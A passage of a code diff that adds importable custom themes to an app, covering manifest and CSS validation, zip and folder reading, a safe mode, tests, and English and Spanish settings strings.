+export type ThemePackageResult = { ok: true; theme: Theme } | { ok: false; errors: string[] };
+
+const isRecord = (v: unknown): v is Record<string, unknown> =>
+ typeof v === "object" && v !== null && !Array.isArray(v);
+
+function shortText(value: unknown, max: number): string | undefined {
+ if (typeof value !== "string") return undefined;
+ const text = value.trim();
+ return text.length > 0 && text.length <= max ? text : undefined;
+}
+
+function localized(value: unknown, max: number): LocalizedText | undefined {
+ if (typeof value === "string") return shortText(value, max);
+ if (!isRecord(value)) return undefined;
+ const out: Record<string, string> = {};
+ for (const [key, text] of Object.entries(value)) {
+ const clean = shortText(text, max);
+ if (LOCALE_KEY.test(key) && clean) out[key] = clean;
+ }
+ return Object.keys(out).length > 0 ? out : undefined;
+}
+
+function option(value: unknown, errors: string[]): ThemeOption | null {
+ if (!isRecord(value)) return null;
+ const id = typeof value.id === "string" && OPTION_ID.test(value.id) ? value.id : null;
+ const label = localized(value.label, 60);
+ if (!id || !label) {
+ errors.push(`Option ${JSON.stringify(value.id)} needs an id (a-z, 0-9, -) and a label`);
+ return null;
+ }
+ const description = localized(value.description, 200);
+ const base = { id, label, description };
+ if (value.type === "heading") return { ...base, type: "heading" };
+ if (value.type === "color") {
+ const def = value.default;
+ const light = typeof def === "string" ? def : isRecord(def) ? def.light : undefined;
+ const dark = typeof def === "string" ? def : isRecord(def) ? def.dark : undefined;
+ if (typeof light !== "string" || typeof dark !== "string" || !HEX_COLOR.test(light) || !HEX_COLOR.test(dark)) {
+ errors.push(`Option "${id}" needs a hex default, or one for light and one for dark`);
+ return null;
+ }
+ return { ...base, type: "color", default: { light, dark } };
+ }
+ if (value.type === "number" || value.type === "slider") {
+ const num = (v: unknown) => (typeof v === "number" && Number.isFinite(v) ? v : undefined);
+ const min = num(value.min);
+ const max = num(value.max);
+ const step = num(value.step);
+ const def = num(value.default);
+ const unit = typeof value.unit === "string" && UNIT.test(value.unit) ? value.unit : undefined;
+ if (
+ def === undefined ||
+ (value.unit !== undefined && unit === undefined) ||
+ (step !== undefined && step <= 0) ||
+ (min !== undefined && max !== undefined && min >= max) ||
+ (value.type === "slider" && (min === undefined || max === undefined))
+ ) {
+ errors.push(`Option "${id}" needs a numeric default${value.type === "slider" ? ", min and max" : ""} and a unit of letters or %`);
+ return null;
+ }
+ return { ...base, type: value.type, default: def, min, max, step, unit };
+ }
+ if (value.type === "text" || value.type === "font") {
+ const valid = value.type === "font" ? isSafeFontValue(value.default) : isSafeThemeValue(value.default);
+ if (!valid) {
+ errors.push(`Option "${id}" needs a default ${value.type === "font" ? "font stack" : "CSS value"}`);
+ return null;
+ }
+ return { ...base, type: value.type, default: value.default as string };
+ }
+ if (value.type === "variable-select" && Array.isArray(value.choices)) {
+ const choices = value.choices
+ .slice(0, MAX_CHOICES)
+ .filter(isRecord)
+ .flatMap((choice) => {
+ const l = localized(choice.label, 40);
+ return isSafeThemeValue(choice.value) && l ? [{ value: choice.value, label: l }] : [];
+ });
+ if (choices.length < 2) {
+ errors.push(`Option "${id}" needs at least two valid choices`);
+ return null;
+ }
+ const preferred = typeof value.default === "string" ? value.default : choices[0]!.value;
+ return {
+ ...base,
+ type: "variable-select",
+ default: choices.some((c) => c.value === preferred) ? preferred : choices[0]!.value,
+ choices,
+ };
+ }
+ if (value.type === "toggle") {
+ return { id, type: "toggle", label, description, default: value.default === true };
+ }
+ if (value.type === "select" && Array.isArray(value.choices)) {
+ const choices = value.choices
+ .slice(0, MAX_CHOICES)
+ .filter(isRecord)
+ .flatMap((choice) => {
+ const v = typeof choice.value === "string" && CHOICE_VALUE.test(choice.value) ? choice.value : null;
+ const l = localized(choice.label, 40);
+ if (!v || !l) return [];
+ return [{ value: v, label: l, swatch: isSafeThemeValue(choice.swatch) ? choice.swatch : undefined }];
+ });
+ if (choices.length < 2) {
+ errors.push(`Option "${id}" needs at least two valid choices`);
+ return null;
+ }
+ const fallback = choices[0]!.value;
+ const preferred = typeof value.default === "string" ? value.default : fallback;
+ return {
+ id,
+ type: "select",
+ label,
+ description,
+ default: choices.some((c) => c.value === preferred) ? preferred : fallback,
+ choices,
+ };
+ }
+ errors.push(`Option "${id}" has an unknown type`);
+ return null;
+}
+
+export interface ThemePackageInput {
+ /** The parsed manifest.json. */
+ manifest: unknown;
+ /** theme.css */
+ css: unknown;
+ assets?: unknown;
+}
+
+export function parseTheme({ manifest, css, assets: rawAssets }: ThemePackageInput): ThemePackageResult {
+ const errors: string[] = [];
+ if (!isRecord(manifest)) return { ok: false, errors: ["manifest.json must be a JSON object"] };
+ if (typeof css !== "string") return { ok: false, errors: ["theme.css is missing"] };
+ if (manifest.apiVersion !== THEME_API_VERSION) {
+ errors.push(`apiVersion must be ${THEME_API_VERSION}`);
+ }
+ const id = typeof manifest.id === "string" && THEME_ID_PATTERN.test(manifest.id) ? manifest.id : null;
+ if (!id) errors.push("id must be 1–40 characters of a-z, 0-9 and -");
+ else if (findBuiltInTheme(id)) errors.push(`"${id}" is a built-in theme id`);
+ const name = shortText(manifest.name, 40);
+ if (!name) errors.push("name is required (at most 40 characters)");
+
+ const assets: Record<string, string> = {};
+ let size = css.length;
+ if (rawAssets !== undefined) {
+ if (!isRecord(rawAssets) || Object.keys(rawAssets).length > MAX_ASSETS) {
+ errors.push(`A theme can ship at most ${MAX_ASSETS} fonts and images`);
+ } else {
+ for (const [path, url] of Object.entries(rawAssets)) {
+ const clean = themeAssetPath(path);
+ if (!clean || !isSafeThemeAsset(url)) {
+ errors.push(`${JSON.stringify(path)} must be a font or image inside the theme folder`);
+ } else {
+ assets[clean] = url;
+ size += url.length;
+ }
+ }
+ }
+ }
+ if (size > THEME_PACKAGE_MAX_BYTES) {
+ return { ok: false, errors: [`A theme can be at most ${THEME_PACKAGE_MAX_BYTES / 1024} KB`] };
+ }
+
+ const checked = sanitizeThemeCss(css, assets);
+ if (!checked.ok) errors.push(...checked.errors.map((e) => `theme.css line ${e.line}: ${e.message}`));
+
+ const options: ThemeOption[] = [];
+ if (manifest.options !== undefined) {
+ if (!Array.isArray(manifest.options) || manifest.options.length > MAX_OPTIONS) {
+ errors.push(`options must be a list of at most ${MAX_OPTIONS}`);
+ } else {
+ for (const raw of manifest.options) {
+ const parsed = option(raw, errors);
+ if (parsed && !options.some((o) => o.id === parsed.id)) options.push(parsed);
+ }
+ }
+ }
+
+ if (errors.length > 0 || !id || !name) return { ok: false, errors };
+ return {
+ ok: true,
+ theme: {
+ apiVersion: THEME_API_VERSION,
+ id,
+ name,
+ author: shortText(manifest.author, 60),
+ version: shortText(manifest.version, 20),
+ description: shortText(manifest.description, 200),
+ options: options.length > 0 ? options : undefined,
+ css,
+ assets: Object.keys(assets).length > 0 ? assets : undefined,
+ },
+ };
+}
+
+/** A theme as it is stored: the manifest fields with `css` and `assets` alongside. */
+export function parseStoredTheme(stored: unknown): ThemePackageResult {
+ const record = isRecord(stored) ? stored : {};
+ return parseTheme({ manifest: record, css: record.css, assets: record.assets });
+}
+
+const ASSET_TYPES: Record<string, string> = {
+ woff2: "font/woff2",
+ woff: "font/woff",
+ ttf: "font/ttf",
+ otf: "font/otf",
+ png: "image/png",
+ jpg: "image/jpeg",
+ jpeg: "image/jpeg",
+ webp: "image/webp",
+ gif: "image/gif",
+ avif: "image/avif",
+ svg: "image/svg+xml",
+};
+
+function base64(data: Uint8Array): string {
+ let binary = "";
+ for (let i = 0; i < data.length; i += 0x8000) {
+ binary += String.fromCharCode(...data.subarray(i, i + 0x8000));
+ }
+ return btoa(binary);
+}
+
+const IGNORED = /(^|\/)(\.|__MACOSX\/)|(^|\/)(README|LICENSE)[^/]*$/i;
+
+/**
+ * Finds the parts of a theme among its files, unchecked: the parsed
+ * manifest, theme.css and the assets as `data:` URLs. The files may sit
+ * inside one top-level folder.
+ */
+export function readThemeFiles(
+ files: readonly ArchiveFile[],
+): { ok: true; package: ThemePackageInput } | { ok: false; error: string } {
+ const kept = files.filter((f) => !IGNORED.test(f.path));
+ const manifestFile = kept.find((f) => f.path === "manifest.json" || f.path.endsWith("/manifest.json"));
+ if (!manifestFile) return { ok: false, error: "manifest.json is missing" };
+ const root = manifestFile.path.slice(0, -"manifest.json".length);
+ const decoder = new TextDecoder();
+ let manifest: unknown;
+ try {
+ manifest = JSON.parse(decoder.decode(manifestFile.data));
+ } catch {
+ return { ok: false, error: "manifest.json is not valid JSON" };
+ }
+ const cssFile = kept.find((f) => f.path === `${root}theme.css`);
+ const assets: Record<string, string> = {};
+ for (const file of kept) {
+ if (!file.path.startsWith(root) || file === manifestFile || file === cssFile) continue;
+ const type = ASSET_TYPES[file.path.split(".").pop()?.toLowerCase() ?? ""];
+ if (type) assets[file.path.slice(root.length)] = `data:${type};base64,${base64(file.data)}`;
+ }
+ return { ok: true, package: { manifest, css: cssFile ? decoder.decode(cssFile.data) : undefined, assets } };
+}
+
+/**
+ * Builds a theme from its files: a picked folder, several picked files, or
+ * the contents of a .zip.
+ */
+export function themeFromFiles(files: readonly ArchiveFile[]): ThemePackageResult {
+ const read = readThemeFiles(files);
+ return read.ok ? parseTheme(read.package) : { ok: false, errors: [read.error] };
+}
+
+/** Reads one entry of Desktop's themes folder: a theme folder's files, or a single .zip. */
+export async function themeFromFolderFiles(files: readonly ArchiveFile[]): Promise<ThemePackageResult> {
+ if (files.length === 1 && /\.zip$/i.test(files[0]!.path)) {
+ const archive = await readZip(files[0]!.data, THEME_PACKAGE_MAX_BYTES);
+ return archive.ok ? themeFromFiles(archive.files) : { ok: false, errors: [archive.error] };
+ }
+ return themeFromFiles(files);
+}
+
+/** Reads what someone picked: one .zip, or the files of a theme folder. */
+export async function readThemePackage(files: readonly File[]): Promise<ThemePackageResult> {
+ const total = files.reduce((sum, f) => sum + f.size, 0);
+ if (total > THEME_PACKAGE_MAX_BYTES) {
+ return { ok: false, errors: [`A theme can be at most ${THEME_PACKAGE_MAX_BYTES / 1024} KB`] };
+ }
+ const bytes = async (file: File) => new Uint8Array(await file.arrayBuffer());
+ if (files.length === 1 && /\.zip$/i.test(files[0]!.name)) {
+ const archive = await readZip(await bytes(files[0]!), THEME_PACKAGE_MAX_BYTES);
+ return archive.ok ? themeFromFiles(archive.files) : { ok: false, errors: [archive.error] };
+ }
+ const entries = await Promise.all(
+ files.map(async (file) => ({ path: file.webkitRelativePath || file.name, data: await bytes(file) })),
+ );
+ return themeFromFiles(entries);
+}
+
+const compiledCss = new WeakMap<Theme, string>();
+
+/**
+ * The theme's CSS ready to inject: checked again and with asset references
+ * resolved. Empty when it no longer passes.
+ */
+export function themeCss(theme: Theme): string {
+ if (!theme.css) return "";
+ const cached = compiledCss.get(theme);
+ if (cached !== undefined) return cached;
+ const result = sanitizeThemeCss(theme.css, theme.assets);
+ const css = result.ok ? result.css : "";
+ compiledCss.set(theme, css);
+ return css;
+}
diff --git a/packages/core/appearance/themes.ts b/packages/core/appearance/themes.ts
index a010afbb76..63d64d679e 100644
--- a/packages/core/appearance/themes.ts
+++ b/packages/core/appearance/themes.ts
@@ -1,11 +1,13 @@
/**
- * A theme is a manifest that names it and declares its options, plus CSS that
- * overrides the public variables (./theme-variables) under `.theme-light` and
- * `.theme-dark` and may restyle the public anchors (./anchors).
+ * A theme is a folder: `manifest.json` names it and declares its options,
+ * `theme.css` overrides the public variables (./theme-variables) under
+ * `.theme-light` and `.theme-dark` and may restyle the public anchors
+ * (./anchors), and any fonts or images the CSS references sit next to it.
*
- * Only the built-in themes (./built-in-themes) exist for now. They are written
- * as token tables so the contrast test can read them, and compiled to that
- * CSS. docs/theming.md is the reference; keep it in step with this file.
+ * Built-in themes (./built-in-themes) are written as token tables so the
+ * contrast test can read them, and compiled to the same CSS an outside theme
+ * ships. Everything a theme ships goes through `sanitizeThemeCss` (./theme-css).
+ * docs/theming.md is the public reference; keep it in step with this file.
*/
/** Bumped only for changes that would break existing themes. */
@@ -99,9 +101,11 @@ export interface ThemeManifest {
options?: readonly ThemeOption[];
}
-/** A theme ready to apply: its manifest and CSS. */
+/** A theme ready to apply: its manifest, theme.css and the files the CSS references. */
export interface Theme extends ThemeManifest {
css: string;
+ /** Relative path to a base64 `data:` URL. */
+ assets?: Readonly<Record<string, string>>;
}
/** Variable name (without `--`) to value. */
@@ -115,23 +119,29 @@ export interface BuiltInTheme extends Theme {
const FRAME_ANCHORS = ':is([data-mc="app-rail"], [data-mc="window-toolbar"], [data-mc="tab-bar"])';
-function declarations(tokens: ThemeTokens | undefined): string {
- return Object.entries(tokens ?? {})
- .map(([name, value]) => `--${name}: ${value};`)
- .join(" ");
-}
-
-/** The CSS a token table stands for. */
-export function themeTokensCss(theme: Pick<BuiltInTheme, "tokens" | "frame">): string {
+/**
+ * The CSS a token table stands for: one line per rule, or with `readable`
+ * one declaration per line, as a theme author would write it.
+ */
+export function themeTokensCss(
+ theme: Pick<BuiltInTheme, "tokens" | "frame">,
+ { readable = false }: { readable?: boolean } = {},
+): string {
const blocks: string[] = [];
- const add = (selector: string, body: string) => {
- if (body) blocks.push(`${selector} { ${body} }`);
+ const add = (selector: string, tokens: ThemeTokens | undefined) => {
+ const lines = Object.entries(tokens ?? {}).map(([name, value]) => `--${name}: ${value};`);
+ if (lines.length === 0) return;
+ blocks.push(
+ readable
+ ? `${selector} {\n${lines.map((line) => ` ${line}`).join("\n")}\n}`
+ : `${selector} { ${lines.join(" ")} }`,
+ );
};
- add(".theme-light", declarations(theme.tokens.light));
- add(".theme-dark", declarations(theme.tokens.dark));
- add(`.theme-light ${FRAME_ANCHORS}`, declarations(theme.frame?.light));
- add(`.theme-dark ${FRAME_ANCHORS}`, declarations(theme.frame?.dark));
- return blocks.join("\n");
+ add(".theme-light", theme.tokens.light);
+ add(".theme-dark", theme.tokens.dark);
+ add(`.theme-light ${FRAME_ANCHORS}`, theme.frame?.light);
+ add(`.theme-dark ${FRAME_ANCHORS}`, theme.frame?.dark);
+ return blocks.join(readable ? "\n\n" : "\n");
}
const SAFE_VALUE = /^[\w\s#.,%()/+-]+$/;
diff --git a/packages/core/eslint.config.mjs b/packages/core/eslint.config.mjs
index 35e9aac76f..512b6828c0 100644
--- a/packages/core/eslint.config.mjs
+++ b/packages/core/eslint.config.mjs
@@ -94,10 +94,10 @@ export default [
files: ["platform/storage.ts"],
rules: boundaryRules(["localStorage"]),
},
- // Exception dedupe is scoped to the browser tab session, which the
- // StorageAdapter cannot express.
+ // Exception dedupe and theme safe mode are scoped to the browser tab
+ // session, which the StorageAdapter cannot express.
{
- files: ["analytics/exception-dedupe.ts"],
+ files: ["analytics/exception-dedupe.ts", "appearance/safe-mode.ts"],
rules: boundaryRules(["sessionStorage"]),
},
];
diff --git a/packages/views/common/appearance-sync.test.tsx b/packages/views/common/appearance-sync.test.tsx
index d8b2a9f948..c27313914c 100644
--- a/packages/views/common/appearance-sync.test.tsx
+++ b/packages/views/common/appearance-sync.test.tsx
@@ -3,7 +3,11 @@ import { act, cleanup, render } from "@testing-library/react";
import {
APPEARANCE_STORAGE_KEY,
DEFAULT_APPEARANCE,
+ INSTALLED_THEMES_STORAGE_KEY,
useAppearanceStore,
+ useInstalledThemesStore,
+ useThemeFolderStatus,
+ useThemeSafeMode,
} from "@multica/core/appearance";
import { AppearanceSync } from "./appearance-sync";
@@ -11,10 +15,20 @@ const html = () => document.documentElement;
const sheet = () => document.getElementById("multica-appearance");
const themeCss = () => document.getElementById("multica-theme-css");
+const PAPER = {
+ apiVersion: 1,
+ id: "paper",
+ name: "Paper",
+ css: '.theme-light { --page-canvas: #f6efdf; }\n[data-mc="content"] p { hyphens: auto; }',
+} as const;
+
describe("AppearanceSync", () => {
beforeEach(() => {
localStorage.clear();
+ sessionStorage.clear();
useAppearanceStore.setState(DEFAULT_APPEARANCE);
+ useInstalledThemesStore.setState({ themes: [] });
+ useThemeSafeMode.setState({ active: false });
});
afterEach(cleanup);
@@ -96,6 +110,22 @@ describe("AppearanceSync", () => {
expect(themeCss()!.compareDocumentPosition(sheet()!) & Node.DOCUMENT_POSITION_FOLLOWING).toBeTruthy();
});
+ it("applies an installed theme's CSS, and nothing of it in safe mode", () => {
+ useInstalledThemesStore.setState({ themes: [PAPER] });
+ useAppearanceStore.setState({ theme: "paper" });
+ render(<AppearanceSync />);
+ expect(html().getAttribute("data-theme")).toBe("paper");
+ expect(themeCss()?.textContent).toContain("hyphens: auto");
+
+ act(() => useThemeSafeMode.getState().enter());
+ expect(html().hasAttribute("data-theme")).toBe(false);
+ expect(themeCss()).toBeNull();
+ expect(useAppearanceStore.getState().theme).toBe("paper");
+
+ act(() => useThemeSafeMode.getState().exit());
+ expect(html().getAttribute("data-theme")).toBe("paper");
+ });
+
it("clears everything when the product UI unmounts", () => {
useAppearanceStore.setState({ theme: "pop", highContrast: true, codeFont: "system" });
const { unmount } = render(<AppearanceSync />);
@@ -111,13 +141,75 @@ describe("AppearanceSync", () => {
it("follows changes saved by another window", async () => {
render(<AppearanceSync />);
+ localStorage.setItem(
+ INSTALLED_THEMES_STORAGE_KEY,
+ JSON.stringify({ state: { themes: [PAPER] }, version: 0 }),
+ );
localStorage.setItem(
APPEARANCE_STORAGE_KEY,
- JSON.stringify({ state: { theme: "notion" }, version: 0 }),
+ JSON.stringify({ state: { theme: "paper" }, version: 0 }),
);
await act(async () => {
+ window.dispatchEvent(new StorageEvent("storage", { key: INSTALLED_THEMES_STORAGE_KEY }));
window.dispatchEvent(new StorageEvent("storage", { key: APPEARANCE_STORAGE_KEY }));
});
- expect(html().getAttribute("data-theme")).toBe("notion");
+ expect(html().getAttribute("data-theme")).toBe("paper");
+ });
+
+ describe("on Desktop", () => {
+ const encode = (text: string) => new TextEncoder().encode(text);
+ const folder = (css: string) => [
+ { path: "manifest.json", data: encode(JSON.stringify({ apiVersion: 1, id: "paper", name: "Paper" })) },
+ { path: "theme.css", data: encode(css) },
+ ];
+ let onChange: () => void = () => {};
+ const desktop = {
+ readThemeFolder: vi.fn(),
+ onThemeFolderChange: vi.fn((callback: () => void) => {
+ onChange = callback;
+ return () => {};
+ }),
+ openThemeFolder: vi.fn(),
+ writeThemeFolder: vi.fn(),
+ };
+ beforeEach(() => {
+ useInstalledThemesStore.setState({ folders: {} });
+ useThemeFolderStatus.setState({ path: null, problems: [] });
+ (window as unknown as { desktopAPI: unknown }).desktopAPI = desktop;
+ });
+ afterEach(() => {
+ delete (window as unknown as { desktopAPI?: unknown }).desktopAPI;
+ });
+
+ it("applies themes from the themes folder and re-reads it when it changes", async () => {
+ desktop.readThemeFolder.mockResolvedValue({
+ path: "/data/themes",
+ entries: [
+ { folder: "paper", files: folder(".theme-light { --page-canvas: #fffdf8; }") },
+ { folder: "huge", error: "A theme can be at most 1024 KB and 64 files" },
+ ],
+ });
+ useAppearanceStore.setState({ theme: "paper" });
+ render(<AppearanceSync />);
+ await vi.waitFor(() => expect(html().getAttribute("data-theme")).toBe("paper"));
+ expect(themeCss()?.textContent).toContain("#fffdf8");
+ expect(useInstalledThemesStore.getState().folders).toEqual({ paper: "paper" });
+ expect(useThemeFolderStatus.getState()).toEqual({
+ path: "/data/themes",
+ problems: [{ folder: "huge", errors: ["A theme can be at most 1024 KB and 64 files"] }],
+ });
+
+ desktop.readThemeFolder.mockResolvedValue({
+ path: "/data/themes",
+ entries: [{ folder: "paper", files: folder(".theme-light { --page-canvas: #f0f0ff; }") }],
+ });
+ await act(async () => onChange());
+ await vi.waitFor(() => expect(themeCss()?.textContent).toContain("#f0f0ff"));
+ expect(useThemeFolderStatus.getState().problems).toEqual([]);
+
+ desktop.readThemeFolder.mockResolvedValue({ path: "/data/themes", entries: [] });
+ await act(async () => onChange());
+ await vi.waitFor(() => expect(html().hasAttribute("data-theme")).toBe(false));
+ });
});
});
diff --git a/packages/views/common/appearance-sync.tsx b/packages/views/common/appearance-sync.tsx
index db67891150..4228b4f498 100644
--- a/packages/views/common/appearance-sync.tsx
+++ b/packages/views/common/appearance-sync.tsx
@@ -5,6 +5,7 @@ import { useShallow } from "zustand/react/shallow";
import {
APPEARANCE_STORAGE_KEY,
APPEARANCE_THEME_ATTR,
+ INSTALLED_THEMES_STORAGE_KEY,
THEME_OPTION_ATTR_PREFIX,
activeTheme,
appearanceRootVariables,
@@ -12,12 +13,21 @@ import {
appearanceThemeAttributes,
appearanceThemeCss,
selectAppearance,
+ themeFromFolderFiles,
useAppearanceStore,
+ useInstalledThemesStore,
+ useThemeFolderStatus,
+ useThemeSafeMode,
+ type ThemeFolderEntry,
} from "@multica/core/appearance";
import { getShortcutPlatform, getShortcutRuntime } from "@multica/core/shortcuts";
+import { themeFolderAPI } from "../platform/theme-folder";
const STYLE_ELEMENT_ID = "multica-appearance";
const THEME_CSS_ELEMENT_ID = "multica-theme-css";
+/** Safe mode: Shift pressed within this long after load and held for SAFE_MODE_HOLD_MS. */
+const SAFE_MODE_WINDOW_MS = 3000;
+const SAFE_MODE_HOLD_MS = 700;
/** Creates, updates or removes a `<style>` at the end of <head>. */
function writeStyle(id: string, css: string) {
@@ -84,6 +94,57 @@ function useStateClasses() {
}, []);
}
+/**
+ * On Desktop, installs the themes in the themes folder and reinstalls them
+ * whenever main reports a change, so a theme being edited updates as it is
+ * saved. Reads never overlap; a change during a read triggers one more.
+ */
+function useThemeFolderSync() {
+ useEffect(() => {
+ const api = themeFolderAPI();
+ if (!api) return;
+ let stopped = false;
+ let reading = false;
+ let again = false;
+ const read = async () => {
+ if (reading) {
+ again = true;
+ return;
+ }
+ reading = true;
+ try {
+ const snapshot = await api.readThemeFolder();
+ const entries: ThemeFolderEntry[] = await Promise.all(
+ snapshot.entries.map(async ({ folder, files, error }) => ({
+ folder,
+ result: files ? await themeFromFolderFiles(files) : { ok: false as const, errors: [error ?? ""] },
+ })),
+ );
+ if (stopped) return;
+ useInstalledThemesStore.getState().syncFolder(entries);
+ useThemeFolderStatus.setState({
+ path: snapshot.path,
+ problems: entries.flatMap(({ folder, result }) => (result.ok ? [] : [{ folder, errors: result.errors }])),
+ });
+ } catch {
+ // The folder could not be read; installed themes stay as they are.
+ } finally {
+ reading = false;
+ if (again && !stopped) {
+ again = false;
+ void read();
+ }
+ }
+ };
+ void read();
+ const unsubscribe = api.onThemeFolderChange(() => void read());
+ return () => {
+ stopped = true;
+ unsubscribe();
+ };
+ }, []);
+}
+
function clearThemeAttributes(root: HTMLElement) {
root.removeAttribute(APPEARANCE_THEME_ATTR);
for (const name of root.getAttributeNames()) {
@@ -94,7 +155,7 @@ function clearThemeAttributes(root: HTMLElement) {
/**
* Mirrors the appearance preferences onto `<html>`: the mode as
* `theme-light` / `theme-dark`, the theme and its options as attributes, the
- * theme's CSS and the adjustments on top of it as two generated
+ * theme's CSS and the accent and contrast adjustments as two generated
* stylesheets after the app's own, fonts, size and density as inline
* variables. Mount it only around the product UI:
* unmounting clears all of it, so pages outside it (web's landing and auth
@@ -103,12 +164,15 @@ function clearThemeAttributes(root: HTMLElement) {
*/
export function AppearanceSync() {
const prefs = useAppearanceStore(useShallow(selectAppearance));
+ const installed = useInstalledThemesStore((s) => s.themes);
+ const safeMode = useThemeSafeMode((s) => s.active);
useModeClasses();
useStateClasses();
+ useThemeFolderSync();
useLayoutEffect(() => {
const root = document.documentElement;
- const theme = activeTheme(prefs);
+ const theme = activeTheme(prefs, safeMode);
clearThemeAttributes(root);
for (const [name, value] of Object.entries(appearanceThemeAttributes(theme, prefs))) {
@@ -131,15 +195,42 @@ export function AppearanceSync() {
document.getElementById(STYLE_ELEMENT_ID)?.remove();
document.getElementById(THEME_CSS_ELEMENT_ID)?.remove();
};
- }, [prefs]);
+ }, [prefs, installed, safeMode]);
useEffect(() => {
const onStorage = (event: StorageEvent) => {
if (event.key === APPEARANCE_STORAGE_KEY) void useAppearanceStore.persist.rehydrate();
+ if (event.key === INSTALLED_THEMES_STORAGE_KEY) void useInstalledThemesStore.persist.rehydrate();
};
window.addEventListener("storage", onStorage);
return () => window.removeEventListener("storage", onStorage);
}, []);
+ useEffect(() => {
+ // Modifier keys do not auto-repeat on macOS, so a hold is timed instead.
+ let hold: number | undefined;
+ const onKeyDown = (event: KeyboardEvent) => {
+ if (event.key !== "Shift" || hold !== undefined) return;
+ hold = window.setTimeout(() => useThemeSafeMode.getState().enter(), SAFE_MODE_HOLD_MS);
+ };
+ const onKeyUp = (event: KeyboardEvent) => {
+ if (event.key !== "Shift") return;
+ window.clearTimeout(hold);
+ hold = undefined;
+ };
+ window.addEventListener("keydown", onKeyDown);
+ window.addEventListener("keyup", onKeyUp);
+ const stopListening = window.setTimeout(
+ () => window.removeEventListener("keydown", onKeyDown),
+ SAFE_MODE_WINDOW_MS,
+ );
+ return () => {
+ window.clearTimeout(stopListening);
+ window.clearTimeout(hold);
+ window.removeEventListener("keydown", onKeyDown);
+ window.removeEventListener("keyup", onKeyUp);
+ };
+ }, []);
+
return null;
}
diff --git a/packages/views/locales/en/settings.json b/packages/views/locales/en/settings.json
index 471ba34912..f9ef0f7797 100644
--- a/packages/views/locales/en/settings.json
+++ b/packages/views/locales/en/settings.json
@@ -211,9 +211,49 @@
},
"theme": {
"title": "Theme",
- "description": "Colors, borders, shadows and corners across the app.",
+ "description": "Colors, borders, shadows and corners across the app. Import a theme file to add more.",
"default": "Default",
- "pop": "Pop"
+ "pop": "Pop",
+ "built_in": "Built in",
+ "installed": "Installed",
+ "remove": "Remove {{name}}",
+ "safe_mode": "Safe mode: your theme is paused until you close this window.",
+ "safe_mode_exit": "Use my theme",
+ "folder": "Themes folder",
+ "folder_problems": "Some themes in the themes folder don't pass the checks. Fix them and save; the last version that passed stays in use."
+ },
+ "import": {
+ "button": "Import theme",
+ "from_zip": "Theme file (.zip)",
+ "from_folder": "Theme folder",
+ "storage_full": "There isn't enough space on this device to save the theme. Remove another theme and try again.",
+ "confirm_title": "Install “{{name}}”?",
+ "warning": "A theme can restyle every page, including dialogs and warnings. Only install themes from people you trust.",
+ "author": "Author",
+ "version": "Version",
+ "replaces": "{{to}} (replaces {{from}})",
+ "includes": "Includes",
+ "cancel": "Cancel",
+ "confirm": "Install and use",
+ "error_title": "Couldn't install this theme",
+ "error_description": "Nothing was changed. The theme file has these problems:",
+ "close": "Close",
+ "has_options_one": "{{count}} option",
+ "has_options_other": "{{count}} options",
+ "has_assets_one": "{{count}} font or image",
+ "has_assets_other": "{{count}} fonts and images",
+ "menu_label": "Custom themes",
+ "beta": "Beta",
+ "beta_note": "Custom themes are in beta. The variables and manifest a theme uses may change, and a theme may need updating."
+ },
+ "tools": {
+ "label": "More theme actions",
+ "duplicate": "Duplicate “{{name}}” as a new theme",
+ "open_folder": "Open themes folder",
+ "guide": "How to make a theme",
+ "duplicated_web": "Downloaded {{file}}. Unzip it, edit theme.css, then import the folder.",
+ "duplicated_desktop": "Created “{{name}}” in the themes folder. Edits to its theme.css apply when you save.",
+ "duplicate_failed": "Couldn't create the copy: {{error}}"
},
"theme_options": {
"title": "Theme options",
diff --git a/packages/views/locales/es/settings.json b/packages/views/locales/es/settings.json
index 852c0a4a14..ca39c7abf4 100644
--- a/packages/views/locales/es/settings.json
+++ b/packages/views/locales/es/settings.json
@@ -193,9 +193,49 @@
},
"theme": {
"title": "Tema",
- "description": "Colores, bordes, sombras y esquinas de toda la app.",
+ "description": "Colores, bordes, sombras y esquinas de toda la app. Importa un archivo de tema para añadir más.",
"default": "Predeterminado",
- "pop": "Pop"
+ "pop": "Pop",
+ "built_in": "Integrados",
+ "installed": "Instalados",
+ "remove": "Quitar {{name}}",
+ "safe_mode": "Modo seguro: tu tema está en pausa hasta que cierres esta ventana.",
+ "safe_mode_exit": "Usar mi tema",
+ "folder": "Carpeta de temas",
+ "folder_problems": "Algunos temas de la carpeta de temas no pasan las comprobaciones. Corrígelos y guarda; mientras tanto se usa la última versión que las pasó."
+ },
+ "import": {
+ "button": "Importar tema",
+ "from_zip": "Archivo de tema (.zip)",
+ "from_folder": "Carpeta del tema",
+ "storage_full": "No hay espacio suficiente en este dispositivo para guardar el tema. Quita otro tema e inténtalo de nuevo.",
+ "confirm_title": "¿Instalar «{{name}}»?",
+ "warning": "Un tema puede cambiar el aspecto de todas las páginas, incluidos los diálogos y avisos. Instala solo temas de personas de confianza.",
+ "author": "Autor",
+ "version": "Versión",
+ "replaces": "{{to}} (sustituye a {{from}})",
+ "includes": "Incluye",
+ "cancel": "Cancelar",
+ "confirm": "Instalar y usar",
+ "error_title": "No se pudo instalar este tema",
+ "error_description": "No se ha cambiado nada. El archivo de tema tiene estos problemas:",
+ "close": "Cerrar",
+ "has_options_one": "{{count}} opción",
+ "has_options_other": "{{count}} opciones",
+ "has_assets_one": "{{count}} fuente o imagen",
+ "has_assets_other": "{{count}} fuentes e imágenes",
+ "menu_label": "Temas personalizados",
+ "beta": "Beta",
+ "beta_note": "Los temas personalizados están en beta. Las variables y el manifiesto que usa un tema pueden cambiar, y puede que haya que actualizarlo."
+ },
+ "tools": {
+ "label": "Más acciones de tema",
+ "duplicate": "Duplicar «{{name}}» como tema nuevo",
+ "open_folder": "Abrir carpeta de temas",
+ "guide": "Cómo crear un tema",
+ "duplicated_web": "Se descargó {{file}}. Descomprímelo, edita theme.css e importa la carpeta.",
+ "duplicated_desktop": "Se creó «{{name}}» en la carpeta de temas. Los cambios en su theme.css se aplican al guardar.",
+ "duplicate_failed": "No se pudo crear la copia: {{error}}"
},
"theme_options": {
"title": "Opciones del tema",
diff --git a/packages/views/locales/fr/settings.json b/packages/views/locales/fr/settings.json
index b2e21f7d62..bc3f5ee99a 100644
--- a/packages/views/locales/fr/settings.json
+++ b/packages/views/locales/fr/settings.json
@@ -211,9 +211,49 @@
},
"theme": {
"title": "Thème",
- "description": "Couleurs, bordures, ombres et coins de toute l’app.",
